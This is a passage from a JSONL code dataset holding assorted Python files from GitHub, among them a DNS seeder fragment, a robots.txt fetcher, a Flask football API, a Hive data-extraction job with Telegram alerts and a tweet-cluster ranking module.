config[\"soa\"][\"expire\"],\n config[\"soa\"][\"minimum\"],\n ),\n )\n ns_records = [NS(ns)]\n\n asyncio.run(async_main(config=config, root_path=root_path))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Flax-Network/flax-blockchain","sub_path":"flax/seeder/dns_server.py","file_name":"dns_server.py","file_ext":"py","file_size_in_byte":10100,"program_lang":"python","lang":"en","doc_type":"code","stars":154,"dataset":"github-code","pt":"35"} +{"seq_id":"24155482536","text":"exp = [3200, 2300, 4000, 1590]\n# total = exp[0] + exp[1]+exp[2]+exp[3]\n# total = 0\n# for price in exp:\n# total = total + price\n# print('Total : ',total)\n# consoles = ['PS4','XBOX','PC','SEGA','ATARI']\n# for i in range(len(consoles)):\n# print('Location: ',i,'Item : ',consoles[i])\n# locations = ['Chair','Bed','Kitchen','Drawer','Sofa']\n# key = 'Kitchen'\n# for location in locations:\n# if key == location:\n# print('Key Found in :',location)\n# break\n# else:\n# print('Not found in',location)\n\n\nnumbers = [1, 2, 4, 7, 8, 9]\nfor number in numbers:\n if number % 2 == 0:\n continue\n else:\n print(number * number)\n","repo_name":"hawkiq/pythonTutorial","sub_path":"lesson9-for/for.py","file_name":"for.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"} +{"seq_id":"35930793449","text":"import itertools\n\nN, M = map(int, input().split())\nS = []\nfor _ in range(N):\n S.append(input())\n\nT = []\nfor i in range(N):\n l = \"\"\n for j in range(M):\n c = 0\n for dy, dx in itertools.product([-1, 0, 1], repeat=2):\n ni = i + dy\n nj = j + dx\n if 0 <= ni < N and 0 <= nj < M and S[ni][nj] == \"#\":\n c += 1\n l += str(c)\n T.append(l)\n\nfor i in range(N):\n print(T[i])\n","repo_name":"wonda-tea-coffee/competitive_programming.py","sub_path":"atcoder/past202010_c.py","file_name":"past202010_c.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"35811185402","text":"# encoding: utf-8\n\nimport logging\nimport requests\n\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\n\nURL = 'http://dictionary.goo.ne.jp/suggest/all/{word}/{limit}/'\n\n\nclass Suggest(object):\n\n def search(self, word, limit=10):\n headers = {\n 'Cookie': 'NGUserID=x; DICTUID=x',\n }\n res = requests.post(URL.format(word=word, limit=limit),\n headers=headers).text\n\n # print(res.encode('utf-8'))\n # res = res.encode('utf-8')\n # print(type(res))\n res = res.split('\\t')\n count = int(res[0])\n if count > 0:\n return {\"status\": 'success', \"results\": res[2:]}\n else:\n return {\"status\": 'error', \"error_detail\": \"Nothing found.\"}\n # print(res)\n # return res\n # return {\"status\": 'success', \"results\": results}\n\n\ndef suggest_handle(event):\n params = event['queryParams']\n # method = event['method']\n path = event['path']\n\n if params.get('word'):\n suggest = Suggest()\n return suggest.search(params['word'], limit=params.get('limit', 5))\n else:\n return {'error': True, 'message': 'The param \"word\" is needed.'}\n","repo_name":"hrdrq/dictionary","sub_path":"server/ko/suggest_handler.py","file_name":"suggest_handler.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7768306560","text":"import json\nimport os\nfrom multiprocessing import cpu_count\nfrom multiprocessing import Pool\n\nimport requests\nfrom tqdm import tqdm\n\nOUTPUT_DIR = os.path.join(os.path.dirname(__file__), 'data/out-robots/')\nDATASET = os.path.join(os.path.dirname(__file__), 'data/_NON_TECH_CANDIDATE.csv')\n\nimport pandas as pd\n\n\ndef fetch_robots_txt(host):\n host = 'http://' + host + '/robots.txt'\n\n try:\n r = requests.get(\n host,\n headers={\n 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 '\n 'Safari/537.36',\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',\n 'Accept-encoding': 'gzip, deflate, br',\n 'Accept-language': 'ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7',\n 'Referer': 'https://yandex.ru/',\n 'If-Modified-Since': 'Fri, 05 Mar 2021 13:58:07 GMT',\n },\n timeout=3\n )\n\n return {\n 'ok': r.ok,\n 'host': host,\n 'contentType': r.headers.get('Content-Type'),\n 'statusCode': r.status_code,\n 'headers': r.headers,\n 'content': r.content,\n 'current_url': r.url,\n 'history': json.dumps([\n h.url\n for h in r.history\n ] + [r.url]),\n }\n except:\n return {\n 'ok': False,\n 'host': host,\n 'contentType': '',\n 'statusCode': '',\n 'headers': '',\n 'content': '',\n 'current_url': '',\n 'history': '',\n }\n\n\ndef main():\n hosts = pd.read_csv(DATASET)['host'].tolist()\n\n with Pool(processes=cpu_count()) as p:\n with tqdm(total=len(hosts)) as pbar:\n for i, ret in enumerate(p.imap_unordered(fetch_robots_txt, hosts)):\n pbar.update()\n pd.Series(ret).to_csv(os.path.join(OUTPUT_DIR, f'{i}.csv'), index=False)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"foookinaaa/mts-hack-classify-hosts","sub_path":"apps/netoloka/auto_robotstxt_parser.py","file_name":"auto_robotstxt_parser.py","file_ext":"py","file_size_in_byte":2211,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"19176002132","text":"from tkinter.tix import COLUMN\nfrom flask import Flask, render_template, request, redirect, url_for, jsonify, session\nfrom flask_cors import CORS, cross_origin\nfrom Database import *\nfrom FootballDataAPI import *\nfrom subsidiary_functions import *\nfrom operator import itemgetter\n\napp = Flask(__name__)\ncors = CORS(app)\napp.config[\"CORS_HEADERS\"] = \"Content-Type\"\n#UTF-8 support\napp.config['JSON_AS_ASCII'] = False\n\n@app.route(\"/\")\n@cross_origin()\ndef index():\n return { \"rankings\": sorted([dict(zip(db.show(\"rankings\"), item)) for item in db.select_all(\"rankings\")], key = lambda x: x[\"points\"], reverse = True) }\n\n@app.route(\"/matches\")\n@cross_origin()\ndef matches():\n return \"1\"\n\n@app.route(\"/latest_matches\")\n@cross_origin()\ndef latest_matches():\n return { \"latest_matches\": FootballData.get_latest_matches()}\n\n@app.route(\"/top_scorers\")\n@cross_origin()\ndef top_scorers():\n db.cursor.execute(\"SELECT * FROM top_scorers\")\n top_scorers = db.select_all(\"top_scorers\")\n return {\"top_scorers\": [dict(zip(db.show(\"top_scorers\"), top_scorer)) for top_scorer in top_scorers]}\n\n@app.route(\"/players\")\n@cross_origin()\ndef players():\n COLUMNS = [\"player_url\", \"long_name\", \"player_positions\", \"overall\", \"club_name\", \"club_logo\"]\n GOALKEEPER_COLUMNS = [\"goalkeeper_url\", \"long_name\", \"club_position\", \"overall\", \"club_name\", \"club_logo\"]\n players = add_columns_to_list(db.select(\"players\", COLUMNS), COLUMNS)\n goalkeepers = add_columns_to_list(db.select(\"goalkeepers\", GOALKEEPER_COLUMNS), GOALKEEPER_COLUMNS)\n players.extend(goalkeepers)\n players = sorted(players, key = itemgetter(\"overall\"), reverse = True)\n return { \"players\": players }\n\nif (__name__ == \"__main__\"):\n app.run(port = 5001, debug = True)","repo_name":"hardlanebakura/laligasantander","sub_path":"backend/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"14101099243","text":"import os; os.chdir(os.path.dirname(__file__)) if os.name == \"posix\" else None\nfrom package.common.database.hiveCtrl import HiveCtrl\nfrom package.common.database.hiveCtrl_2 import HiveSingleCtrl\nfrom package.common.telegramCtrl import TelegramCtrl\nfrom package.common.sshCtrl import SSHCtrl\nfrom package.common.extracth.extracthCtrl_2 import ExtracthCtrl\nimport pandas\nimport re\nimport datetime\nimport random\nimport time, asyncio\nimport os\nfrom dotenv import load_dotenv\n\nload_dotenv(dotenv_path=\"env/hive.env\")\nload_dotenv(dotenv_path=\"env/Telegram_GAA.env\")\n\nhiveCtrl = HiveCtrl(\n host=os.getenv(\"HIVE_HOST\")\n , port=int(os.getenv(\"HIVE_PORT\"))\n , user=os.getenv(\"HIVE_USER\")\n , password=os.getenv(\"HIVE_PASS\")\n , database='default'\n , auth_mechanism='PLAIN'\n)\n\nextracthCtrl = ExtracthCtrl()\n\npandas.set_option('display.max_columns', None)\npandas.set_option('display.max_rows', None)\npandas.set_option('display.width', 2000)\n\ntelegramCtrl = TelegramCtrl()\nstartTime = time.time()\n\ntableFilterArray = [\n [\"TABLE_NAME\", r\"^[A-Za-z0-9_]+$\", True]\n]\n\ntableFilterArray_UserInfo = [\n \"fall\"\n , \"falldata\"\n , \"gloveflower\"\n , \"homerun\"\n , \"lovecountry\"\n , \"loveflower\"\n , \"pin\"\n , \"pingu\"\n]\n\ntableFilterArray_UserInventory = [\n \"changeshadow\"\n ,\"cookiecomplete\"\n ,\"lovecountry0\"\n ,\"tmp_flower_\"\n]\n\ntableFilterArray_Userdynamic = [\n \"bir\"\n ,\"penguin\"\n ,\"userladder\"\n ,\"lussi_tmp\"\n ,\"moneygift\"\n ,\"log\"\n ,\"zo\"\n]\n\ndef MakeDBTableDataMain():\n nowTime = datetime.datetime.now()\n nowZeroTime = datetime.datetime(nowTime.year, nowTime.month, nowTime.day, 0, 0, 0, 0)\n startDateStr = (nowZeroTime - datetime.timedelta(days=4)).strftime(\"%Y-%m-%d\")\n endDateStr = (nowZeroTime - datetime.timedelta(days=1)).strftime(\"%Y-%m-%d\")\n # startDateStr = \"2020-08-01\"\n # endDateStr = \"2020-08-18\"\n startDateTime = datetime.datetime.strptime(startDateStr, \"%Y-%m-%d\")\n endDateTime = datetime.datetime.strptime(endDateStr, \"%Y-%m-%d\")\n makeTime = startDateTime\n\n while makeTime <= endDateTime:\n databaseInfo = {\n \"gameName\": \"bnb\"\n , \"dbName\": \"UserInfo\"\n , \"worldNameArr\": [\"00\", \"01\", \"02\", \"03\", \"04\", \"05\"]\n , \"partitionedInit\": \"dt string\"\n , \"partitionedAlterInit\": \"dt='[:DateNoLine]' , world='[:World]'\"\n , \"partitionedPathInit\": \"dt=[:DateNoLine]/world=[:World]\"\n , \"partitionedSQLInit\": \"dt='[:DateNoLine]' AND world= '[:World]'\"\n , \"csvfile\": \"file/bnb_UserInfo_extracttable.csv\"\n , \"filePathInit\": \"/user/hive/warehouse/bnb.db/ALL/UserInfo01\"\n , \"specialFilter\": tableFilterArray_UserInfo\n }\n extracthCtrl.MakeWorldDataDetail(makeTime, hiveCtrl, databaseInfo)\n chkInsertData(makeTime, databaseInfo)\n\n databaseInfo = {\n \"gameName\": \"bnb\"\n , \"dbName\": \"UserInventory\"\n , \"worldNameArr\": [\"00\", \"01\", \"02\", \"03\", \"04\", \"05\"]\n , \"partitionedInit\": \"dt string\"\n , \"partitionedAlterInit\": \"dt='[:DateNoLine]' , world='[:World]'\"\n , \"partitionedPathInit\": \"dt=[:DateNoLine]/world=[:World]\"\n , \"partitionedSQLInit\": \"dt='[:DateNoLine]' AND world= '[:World]'\"\n , \"csvfile\": \"file/bnb_UserInventory_extracttable.csv\"\n , \"filePathInit\": \"/user/hive/warehouse/bnb.db/ALL/UserInfo00\"\n , \"specialFilter\": tableFilterArray_UserInventory\n }\n extracthCtrl.MakeWorldDataDetail(makeTime, hiveCtrl, databaseInfo)\n chkInsertData(makeTime, databaseInfo)\n\n databaseInfo = {\n \"gameName\": \"bnb\"\n , \"dbName\": \"Userdynamic\"\n , \"worldNameArr\": [\"00\", \"01\", \"02\", \"03\", \"04\", \"05\"]\n , \"partitionedInit\": \"dt string\"\n , \"partitionedAlterInit\": \"dt='[:DateNoLine]' , world='[:World]'\"\n , \"partitionedPathInit\": \"dt=[:DateNoLine]/world=[:World]\"\n , \"partitionedSQLInit\": \"dt='[:DateNoLine]' AND world= '[:World]'\"\n , \"csvfile\": \"file/bnb_Userdynamic_extracttable.csv\"\n , \"filePathInit\": \"/user/hive/warehouse/bnb.db/ALL/Userdynamic03\"\n , \"specialFilter\": tableFilterArray_Userdynamic\n }\n extracthCtrl.MakeWorldDataDetail(makeTime, hiveCtrl, databaseInfo)\n chkInsertData(makeTime, databaseInfo)\n\n databaseInfo = {\n \"gameName\": \"bnb\"\n , \"dbName\": \"CAConfig\"\n , \"worldNameArr\": [\"\"]\n , \"partitionedInit\": \"dt string\"\n , \"partitionedAlterInit\": \"dt='[:DateNoLine]'\"\n , \"partitionedPathInit\": \"dt=[:DateNoLine]\"\n , \"partitionedSQLInit\": \"dt='[:DateNoLine]'\"\n , \"csvfile\": \"file/bnb_CAConfig_extracttable.csv\"\n , \"filePathInit\": \"/user/hive/warehouse/bnb.db/ALL/CAConfig\"\n , \"specialFilter\": []\n }\n extracthCtrl.MakeWorldDataDetail(makeTime, hiveCtrl, databaseInfo)\n chkInsertData(makeTime, databaseInfo)\n\n databaseInfo = {\n \"gameName\": \"bnb\"\n , \"dbName\": \"CAGuild\"\n , \"worldNameArr\": [\"\"]\n , \"partitionedInit\": \"dt string\"\n , \"partitionedAlterInit\": \"dt='[:DateNoLine]'\"\n , \"partitionedPathInit\": \"dt=[:DateNoLine]\"\n , \"partitionedSQLInit\": \"dt='[:DateNoLine]'\"\n , \"csvfile\": \"file/bnb_CAGuild_extracttable.csv\"\n , \"filePathInit\": \"/user/hive/warehouse/bnb.db/ALL/CAGuild\"\n , \"specialFilter\": []\n }\n extracthCtrl.MakeWorldDataDetail(makeTime, hiveCtrl, databaseInfo)\n chkInsertData(makeTime, databaseInfo)\n\n databaseInfo = {\n \"gameName\": \"bnb\"\n , \"dbName\": \"CAItem\"\n , \"worldNameArr\": [\"\"]\n , \"partitionedInit\": \"dt string\"\n , \"partitionedAlterInit\": \"dt='[:DateNoLine]'\"\n , \"partitionedPathInit\": \"dt=[:DateNoLine]\"\n , \"partitionedSQLInit\": \"dt='[:DateNoLine]'\"\n , \"csvfile\": \"file/bnb_CAItem_extracttable.csv\"\n , \"filePathInit\": \"/user/hive/warehouse/bnb.db/ALL/CAItem\"\n , \"specialFilter\": []\n }\n extracthCtrl.MakeWorldDataDetail(makeTime, hiveCtrl, databaseInfo)\n chkInsertData(makeTime, databaseInfo)\n\n databaseInfo = {\n \"gameName\": \"bnb\"\n , \"dbName\": \"CAMarket\"\n , \"worldNameArr\": [\"\"]\n , \"partitionedInit\": \"dt string\"\n , \"partitionedAlterInit\": \"dt='[:DateNoLine]'\"\n , \"partitionedPathInit\": \"dt=[:DateNoLine]\"\n , \"partitionedSQLInit\": \"dt='[:DateNoLine]'\"\n , \"csvfile\": \"file/bnb_CAMarket_extracttable.csv\"\n , \"filePathInit\": \"/user/hive/warehouse/bnb.db/ALL/CAMarket\"\n , \"specialFilter\": []\n }\n extracthCtrl.MakeWorldDataDetail(makeTime, hiveCtrl, databaseInfo)\n chkInsertData(makeTime, databaseInfo)\n\n databaseInfo = {\n \"gameName\": \"bnb\"\n , \"dbName\": \"CARankey\"\n , \"worldNameArr\": [\"\"]\n , \"partitionedInit\": \"dt string\"\n , \"partitionedAlterInit\": \"dt='[:DateNoLine]'\"\n , \"partitionedPathInit\": \"dt=[:DateNoLine]\"\n , \"partitionedSQLInit\": \"dt='[:DateNoLine]'\"\n , \"csvfile\": \"file/bnb_CARankey_extracttable.csv\"\n , \"filePathInit\": \"/user/hive/warehouse/bnb.db/ALL/CARankey\"\n , \"specialFilter\": []\n }\n extracthCtrl.MakeWorldDataDetail(makeTime, hiveCtrl, databaseInfo)\n chkInsertData(makeTime, databaseInfo)\n\n databaseInfo = {\n \"gameName\": \"bnb\"\n , \"dbName\": \"CASchool\"\n , \"worldNameArr\": [\"\"]\n , \"partitionedInit\": \"dt string\"\n , \"partitionedAlterInit\": \"dt='[:DateNoLine]'\"\n , \"partitionedPathInit\": \"dt=[:DateNoLine]\"\n , \"partitionedSQLInit\": \"dt='[:DateNoLine]'\"\n , \"csvfile\": \"file/bnb_CASchool_extracttable.csv\"\n , \"filePathInit\": \"/user/hive/warehouse/bnb.db/ALL/CASchool\"\n , \"specialFilter\": []\n }\n extracthCtrl.MakeWorldDataDetail(makeTime, hiveCtrl, databaseInfo)\n chkInsertData(makeTime, databaseInfo)\n\n databaseInfo = {\n \"gameName\": \"bnb\"\n , \"dbName\": \"CATaiwanStat\"\n , \"worldNameArr\": [\"\"]\n , \"partitionedInit\": \"dt string\"\n , \"partitionedAlterInit\": \"dt='[:DateNoLine]'\"\n , \"partitionedPathInit\": \"dt=[:DateNoLine]\"\n , \"partitionedSQLInit\": \"dt='[:DateNoLine]'\"\n , \"csvfile\": \"file/bnb_CATaiwanStat_extracttable.csv\"\n , \"filePathInit\": \"/user/hive/warehouse/bnb.db/ALL/CATaiwanStat\"\n , \"specialFilter\": []\n }\n extracthCtrl.MakeWorldDataDetail(makeTime, hiveCtrl, databaseInfo)\n chkInsertData(makeTime, databaseInfo)\n\n databaseInfo = {\n \"gameName\": \"bnb\"\n , \"dbName\": \"CAUtils\"\n , \"worldNameArr\": [\"\"]\n , \"partitionedInit\": \"dt string\"\n , \"partitionedAlterInit\": \"dt='[:DateNoLine]'\"\n , \"partitionedPathInit\": \"dt=[:DateNoLine]\"\n , \"partitionedSQLInit\": \"dt='[:DateNoLine]'\"\n , \"csvfile\": \"file/bnb_CAUtils_extracttable.csv\"\n , \"filePathInit\": \"/user/hive/warehouse/bnb.db/ALL/CAUtils\"\n , \"specialFilter\": []\n }\n extracthCtrl.MakeWorldDataDetail(makeTime, hiveCtrl, databaseInfo)\n chkInsertData(makeTime, databaseInfo)\n\n databaseInfo = {\n \"gameName\": \"bnb\"\n , \"dbName\": \"FxMessage\"\n , \"worldNameArr\": [\"\"]\n , \"partitionedInit\": \"dt string\"\n , \"partitionedAlterInit\": \"dt='[:DateNoLine]'\"\n , \"partitionedPathInit\": \"dt=[:DateNoLine]\"\n , \"partitionedSQLInit\": \"dt='[:DateNoLine]'\"\n , \"csvfile\": \"file/bnb_FxMessage_extracttable.csv\"\n , \"filePathInit\": \"/user/hive/warehouse/bnb.db/ALL/FxMessage\"\n , \"specialFilter\": []\n }\n extracthCtrl.MakeWorldDataDetail(makeTime, hiveCtrl, databaseInfo)\n chkInsertData(makeTime, databaseInfo)\n\n databaseInfo = {\n \"gameName\": \"bnb\"\n , \"dbName\": \"LadderInfo\"\n , \"worldNameArr\": [\"\"]\n , \"partitionedInit\": \"dt string\"\n , \"partitionedAlterInit\": \"dt='[:DateNoLine]'\"\n , \"partitionedPathInit\": \"dt=[:DateNoLine]\"\n , \"partitionedSQLInit\": \"dt='[:DateNoLine]'\"\n , \"csvfile\": \"file/bnb_LadderInfo_extracttable.csv\"\n , \"filePathInit\": \"/user/hive/warehouse/bnb.db/ALL/LadderInfo\"\n , \"specialFilter\": []\n }\n extracthCtrl.MakeWorldDataDetail(makeTime, hiveCtrl, databaseInfo)\n chkInsertData(makeTime, databaseInfo)\n\n databaseInfo = {\n \"gameName\": \"bnb\"\n , \"dbName\": \"LadderRank\"\n , \"worldNameArr\": [\"\"]\n , \"partitionedInit\": \"dt string\"\n , \"partitionedAlterInit\": \"dt='[:DateNoLine]'\"\n , \"partitionedPathInit\": \"dt=[:DateNoLine]\"\n , \"partitionedSQLInit\": \"dt='[:DateNoLine]'\"\n , \"csvfile\": \"file/bnb_LadderRank_extracttable.csv\"\n , \"filePathInit\": \"/user/hive/warehouse/bnb.db/ALL/LadderRank\"\n , \"specialFilter\": []\n }\n extracthCtrl.MakeWorldDataDetail(makeTime, hiveCtrl, databaseInfo)\n chkInsertData(makeTime, databaseInfo)\n\n databaseInfo = {\n \"gameName\": \"bnb\"\n , \"dbName\": \"RPGDynamic\"\n , \"worldNameArr\": [\"\"]\n , \"partitionedInit\": \"dt string\"\n , \"partitionedAlterInit\": \"dt='[:DateNoLine]'\"\n , \"partitionedPathInit\": \"dt=[:DateNoLine]\"\n , \"partitionedSQLInit\": \"dt='[:DateNoLine]'\"\n , \"csvfile\": \"file/bnb_RPGDynamic_extracttable.csv\"\n , \"filePathInit\": \"/user/hive/warehouse/bnb.db/ALL/RPGDynamic\"\n , \"specialFilter\": []\n }\n extracthCtrl.MakeWorldDataDetail(makeTime, hiveCtrl, databaseInfo)\n chkInsertData(makeTime, databaseInfo)\n\n databaseInfo = {\n \"gameName\": \"bnb\"\n , \"dbName\": \"RPGInventory\"\n , \"worldNameArr\": [\"\"]\n , \"partitionedInit\": \"dt string\"\n , \"partitionedAlterInit\": \"dt='[:DateNoLine]'\"\n , \"partitionedPathInit\": \"dt=[:DateNoLine]\"\n , \"partitionedSQLInit\": \"dt='[:DateNoLine]'\"\n , \"csvfile\": \"file/bnb_RPGInventory_extracttable.csv\"\n , \"filePathInit\": \"/user/hive/warehouse/bnb.db/ALL/RPGInventory\"\n , \"specialFilter\": []\n }\n extracthCtrl.MakeWorldDataDetail(makeTime, hiveCtrl, databaseInfo)\n chkInsertData(makeTime, databaseInfo)\n\n databaseInfo = {\n \"gameName\": \"bnb\"\n , \"dbName\": \"ServerLogDB\"\n , \"worldNameArr\": [\"\"]\n , \"partitionedInit\": \"dt string\"\n , \"partitionedAlterInit\": \"dt='[:DateNoLine]'\"\n , \"partitionedPathInit\": \"dt=[:DateNoLine]\"\n , \"partitionedSQLInit\": \"dt='[:DateNoLine]'\"\n , \"csvfile\": \"file/bnb_ServerLogDB_extracttable.csv\"\n , \"filePathInit\": \"/user/hive/warehouse/bnb.db/ALL/ServerLogDB\"\n , \"specialFilter\": []\n }\n extracthCtrl.MakeWorldDataDetail(makeTime, hiveCtrl, databaseInfo)\n chkInsertData(makeTime, databaseInfo)\n\n databaseInfo = {\n \"gameName\": \"bnb\"\n , \"dbName\": \"TranxLog\"\n , \"worldNameArr\": [\"\"]\n , \"partitionedInit\": \"dt string\"\n , \"partitionedAlterInit\": \"dt='[:DateNoLine]'\"\n , \"partitionedPathInit\": \"dt=[:DateNoLine]\"\n , \"partitionedSQLInit\": \"dt='[:DateNoLine]'\"\n , \"csvfile\": \"file/bnb_TranxLog_extracttable.csv\"\n , \"filePathInit\": \"/user/hive/warehouse/bnb.db/ALL/TranxLog\"\n , \"specialFilter\": []\n }\n extracthCtrl.MakeWorldDataDetail(makeTime, hiveCtrl, databaseInfo)\n chkInsertData(makeTime, databaseInfo)\n\n databaseInfo = {\n \"gameName\": \"bnb\"\n , \"dbName\": \"UserContent\"\n , \"worldNameArr\": [\"\"]\n , \"partitionedInit\": \"dt string\"\n , \"partitionedAlterInit\": \"dt='[:DateNoLine]'\"\n , \"partitionedPathInit\": \"dt=[:DateNoLine]\"\n , \"partitionedSQLInit\": \"dt='[:DateNoLine]'\"\n , \"csvfile\": \"file/bnb_UserContent_extracttable.csv\"\n , \"filePathInit\": \"/user/hive/warehouse/bnb.db/ALL/UserContent\"\n , \"specialFilter\": []\n }\n extracthCtrl.MakeWorldDataDetail(makeTime, hiveCtrl, databaseInfo)\n chkInsertData(makeTime, databaseInfo)\n\n databaseInfo = {\n \"gameName\": \"bnb\"\n , \"dbName\": \"UserEditLog\"\n , \"worldNameArr\": [\"\"]\n , \"partitionedInit\": \"dt string\"\n , \"partitionedAlterInit\": \"dt='[:DateNoLine]'\"\n , \"partitionedPathInit\": \"dt=[:DateNoLine]\"\n , \"partitionedSQLInit\": \"dt='[:DateNoLine]'\"\n , \"csvfile\": \"file/bnb_UserEditLog_extracttable.csv\"\n , \"filePathInit\": \"/user/hive/warehouse/bnb.db/ALL/UserEditLog\"\n , \"specialFilter\": []\n }\n extracthCtrl.MakeWorldDataDetail(makeTime, hiveCtrl, databaseInfo)\n chkInsertData(makeTime, databaseInfo)\n\n makeTime = makeTime + datetime.timedelta(days=1)\n\n print(\"Insert Data Total Used \", time.time() - startTime, \"seconds.\")\n\ndef chkInsertData(makeTime, databaseInfo):\n\n tableDataFrame = pandas.read_csv(databaseInfo[\"csvfile\"], encoding=\"utf_8_sig\")\n\n if databaseInfo[\"specialFilter\"] is not None:\n specialFilter = databaseInfo[\"specialFilter\"]\n else:\n specialFilter = []\n dataFrameTableFilter = tableDataFrame\n\n #利用排序決定執行順序\n tableDataFrame = tableDataFrame.sort_values(by=[\"layers\", \"type\"])\n\n exLayer = 0\n print(\"{} insert data check : \".format(makeTime.strftime(\"%Y-%m-%d\")))\n\n while exLayer <= 100:\n # print(\"{} insert data check exLayer : {}\".format(makeTime.strftime(\"%Y-%m-%d\"), str(exLayer)))\n exLayerTableDataFrame = tableDataFrame[tableDataFrame[\"layers\"].isin([exLayer])]\n\n if len(exLayerTableDataFrame) == 0:\n exLayer = exLayer + 1\n continue\n # 確認資料是否有正常寫入\n for tableIndex, tableRow in exLayerTableDataFrame.iterrows():\n if tableRow[\"tablename\"][:-2] in specialFilter:\n showPartitionsSQL = \"show partitions {}_{}.{}_{} partition(dt = '{}')\".format(str(tableRow[\"gamename\"]), str(tableRow[\"hivedb\"]), str(tableRow[\"dbname\"]), str(tableRow[\"tablename\"][:-2]), str(makeTime.strftime(\"%Y%m%d\")))\n else:\n showPartitionsSQL = \"show partitions {}_{}.{}_{} partition(dt = '{}')\".format(str(tableRow[\"gamename\"]), str(tableRow[\"hivedb\"]), str(tableRow[\"dbname\"]), str(tableRow[\"tablename\"]), str(makeTime.strftime(\"%Y%m%d\")))\n # print(showPartitionsSQL)\n if hiveCtrl.searchSQL_TCByCount(showPartitionsSQL,3).count()['partition'] == 0:\n message = u'\\U0000203C' + \" Info: {}_{}.{}_{} insert data fail.\".format(str(tableRow[\"gamename\"]), str(tableRow[\"hivedb\"]), str(tableRow[\"dbname\"]), str(tableRow[\"tablename\"]))\n print(message)\n # 送出Telegrame告警\n try:\n telegramCtrl.sendMessageByUrl(url=os.getenv(\"BDA_TELEGRAM_URL\"), userid=os.getenv(\"BDA_TELEGRAM_USERID\"), massage=message)\n except Exception as e:\n print(e)\n pass\n else:\n # print(\"Info: {}_{}.{}_{} insert data success.\".format(str(tableRow[\"gamename\"]), str(tableRow[\"hivedb\"]) ,str(tableRow[\"dbname\"]), str(tableRow[\"tablename\"])))\n pass\n exLayer = exLayer + 1\n\n\nif __name__ == \"__main__\":\n print('start 11_10_MakeALL')\n print('start_time:' + time.strftime(\"%Y-%m-%d %H:%M:%S\"))\n MakeDBTableDataMain()\n print('end_time:' + time.strftime(\"%Y-%m-%d %H:%M:%S\"))\n","repo_name":"GISH123/GamaProjects","sub_path":"hadoopextract-master/bnb/11_10_MakeALL.py","file_name":"11_10_MakeALL.py","file_ext":"py","file_size_in_byte":18100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28295701940","text":"\"\"\"\r\nmodule for grading the importance of clusters\r\n\"\"\"\r\nimport floodtags.core.statics\r\nimport floodtags.datascience.filtering.algorithms as algorithms\r\nimport floodtags.linguistics.sanitizing.regexhandler as regex\r\nfrom collections import Counter\r\n\r\n\r\nclass Filter(object):\r\n \"\"\"\r\n Class for grading the importance of all clusters\r\n \"\"\"\r\n def __init__(self):\r\n \"\"\"\r\n constructor for Filter\r\n :return:\r\n \"\"\"\r\n self.data = []\r\n\r\n def set_data(self, data):\r\n \"\"\"\r\n set clusters that need to be analyzed for importance values\r\n :param data: list of clusters\r\n :return: None\r\n \"\"\"\r\n self.data = data\r\n\r\n def start_filtering(self):\r\n \"\"\"\r\n calculate the importance values\r\n :return: list containing the order of the clusters based on importance\r\n \"\"\"\r\n clanalysis = ClusterAnalysis()\r\n ratings = []\r\n for cluster in self.data:\r\n if cluster.get_length() <= 3:\r\n ratings.append(0)\r\n else:\r\n ratings.append(clanalysis.analyze_cluster(cluster))\r\n order = []\r\n while max(ratings) >= 0:\r\n value = max(ratings)\r\n index = ratings.index(value)\r\n order.append((index, value))\r\n ratings[index] = -1\r\n return order\r\n\r\n\r\nclass ClusterAnalysis(object):\r\n \"\"\"\r\n class for grading the importance of a cluster\r\n \"\"\"\r\n def __init__(self):\r\n \"\"\"\r\n constructor for ClusterAnalysis\r\n :return: None\r\n \"\"\"\r\n self.data = []\r\n self.twan = TweetAnalysis()\r\n self.lcs = algorithms.LongestCommonSubstring()\r\n\r\n def analyze_cluster(self, cluster):\r\n \"\"\"\r\n calculate the importance value of the cluster\r\n :param cluster: cluster of which the importance value needs to be calculated\r\n :return: importance value (between 0 and 1)\r\n \"\"\"\r\n res = 1.0\r\n cs = cluster.get_cosine_sim()\r\n res *= (1.01 - (cs / 2))\r\n word_count = 5\r\n if cs >= 0.5:\r\n lcs = algorithms.LongestCommonSubstring()\r\n twt = lcs.lcs_cluster(cluster)\r\n if len(twt) > 8:\r\n cluster.lcs = twt\r\n mlp = (((len(twt) - 8)) * 2) + 1\r\n res *= mlp\r\n else:\r\n # top 5 words is stored as lcs\r\n words = []\r\n for tweet in cluster.get_tweets():\r\n words += [word.lower() for word in tweet.tweet[\"text\"].split() if len(word) > 3]\r\n count = Counter(words)\r\n flcs = []\r\n for word in count.most_common(word_count):\r\n flcs.append(word[0])\r\n cluster.lcs = \", \".join(flcs)\r\n usr = lcs.lcs_cluster_usernames(cluster)\r\n if len(usr) > 5:\r\n res * (1 + (len(usr) / 10))\r\n else:\r\n # top 10 words is stored as lcs\r\n words = []\r\n for tweet in cluster.get_tweets():\r\n words += [word.lower() for word in tweet.tweet[\"text\"].split() if len(word) > 3]\r\n count = Counter(words)\r\n flcs = []\r\n for word in count.most_common(word_count):\r\n flcs.append(word[0])\r\n cluster.lcs = \", \".join(flcs)\r\n\r\n cluster.lcs.replace(\"\\\"\",\"\")\r\n\r\n for tweet in cluster.get_tweets():\r\n res *= (self.twan.analyze_tweet(tweet))\r\n result = 